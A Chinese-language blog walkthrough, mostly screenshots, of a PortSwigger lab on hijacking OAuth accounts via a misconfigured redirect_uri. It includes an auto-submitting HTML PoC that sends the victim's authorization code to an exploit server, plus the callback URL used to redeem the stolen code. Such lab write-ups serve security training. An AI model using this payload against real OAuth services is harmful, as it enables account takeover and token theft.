某不知名博客 某不知名博客
首页
  • 《vulcat文档》
  • Web安全

    • 《BurpSuite及官方实验室》
    • 《OSWE学习历程》
  • 云原生安全

    • 《Docker命令大全》
    • 《CKS考试学习指南》
    • 《旧-Kubernetes教程》
漏洞库
  • 《渗透工具大全》
  • 《云安全》
事件库
关于
  • 分类
  • 标签
  • 归档
GitHub (opens new window)

Carsaid

安全界的小学生
首页
  • 《vulcat文档》
  • Web安全

    • 《BurpSuite及官方实验室》
    • 《OSWE学习历程》
  • 云原生安全

    • 《Docker命令大全》
    • 《CKS考试学习指南》
    • 《旧-Kubernetes教程》
漏洞库
  • 《渗透工具大全》
  • 《云安全》
事件库
关于
  • 分类
  • 标签
  • 归档
GitHub (opens new window)
  • 前言

  • 服务器端主题(翻译)

  • 客户端主题(翻译)

  • 高级主题(翻译)

  • 扩展阅读(翻译)

  • 个人学习笔记

  • 实验室做题记录

    • 实验室做题记录
    • 服务器端

    • 客户端

    • 高级主题

      • 不安全的反序列化

      • GraphQL API漏洞

      • 服务端模板注入

      • Web缓存投毒

      • HTTP主机头攻击

      • HTTP请求走私

      • OAuth身份验证漏洞

        • 学徒-程序实现漏洞-隐式授权模式的不当实现
        • 从业者-程序实现漏洞-CSRF防护缺陷
        • 从业者-OAuth服务漏洞-授权码和访问令牌泄露
          • 题目
          • 实操
        • 从业者-OAuth服务漏洞-通过开放重定向窃取访问令牌
        • 专家-OAuth服务漏洞-通过代理页面窃取访问令牌
        • 从业者-OpenID动态客户端注册-二阶SSRF
      • JWT攻击

      • 原型链污染

  • BurpSuite及官方实验室
  • 实验室做题记录
  • 高级主题
  • OAuth身份验证漏洞
carsaid
2024-02-08
目录

从业者-OAuth服务漏洞-授权码和访问令牌泄露

# 实验室:通过redirect_uri劫持OAuth帐户

# 题目

此实验室使用 OAuth 服务,允许用户使用其社交媒体帐户登录。由于 OAuth 提供商的错误配置,导致攻击者有可能窃取与其他用户帐户关联的授权代码。

若要解决实验室问题,请窃取与管理员用户相关联的授权代码,然后使用该代码访问其帐户并删除carlos用户。

管理员用户将打开你从漏洞利用服务器发送的任何内容,并且他们始终与 OAuth 服务保持活动会话。

你可以使用以下凭据登录到自己的社交媒体帐户:wiener:peter。

实验室-从业者

通过redirect_uri劫持OAuth帐户 >>

- name: 实验室-从业者
  desc: 通过redirect_uri劫持OAuth帐户 >>
  avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
  link: https://portswigger.net/web-security/oauth/lab-oauth-account-hijacking-via-redirect-uri
  bgColor: '#001350'
  textColor: '#4cc1ff'
1
2
3
4
5
6

# 实操

(目前只有图,文字后面有时间补)

点击 “ACCESS THE LAB” 进入实验室。

Not Found Image Not Found Image Not Found Image Not Found Image Not Found Image Not Found Image Not Found Image Not Found Image Not Found Image Not Found Image
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://<OAuth服务器>/auth">
      <input type="hidden" name="client&#95;id" value="dmyzbrswsqfjz8auvnmav" />
      <input type="hidden" name="redirect&#95;uri" value="<漏洞利用服务器>" />
      <input type="hidden" name="response&#95;type" value="code" />
      <input type="hidden" name="scope" value="openid&#32;profile&#32;email" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Not Found Image Not Found Image

xfbe-IRClaw1-uv6mq5lp5nhmiEBJEAQusZs93nyM95

https://<受害域>/oauth-callback?code=<捕获的授权码>
1
Not Found Image
https://<受害域>/oauth-callback?code=<捕获的授权码>
1
Not Found Image Not Found Image Not Found Image
编辑 (opens new window)
从业者-程序实现漏洞-CSRF防护缺陷
从业者-OAuth服务漏洞-通过开放重定向窃取访问令牌

← 从业者-程序实现漏洞-CSRF防护缺陷 从业者-OAuth服务漏洞-通过开放重定向窃取访问令牌→

最近更新
01
API测试笔记
04-30
02
msfvenom
03-29
03
Metasploit
03-29
更多文章>
Theme by Vdoing | Copyright © 2023-2024 Carsaid | MIT License
  • 跟随系统
  • 浅色模式
  • 深色模式
  • 阅读模式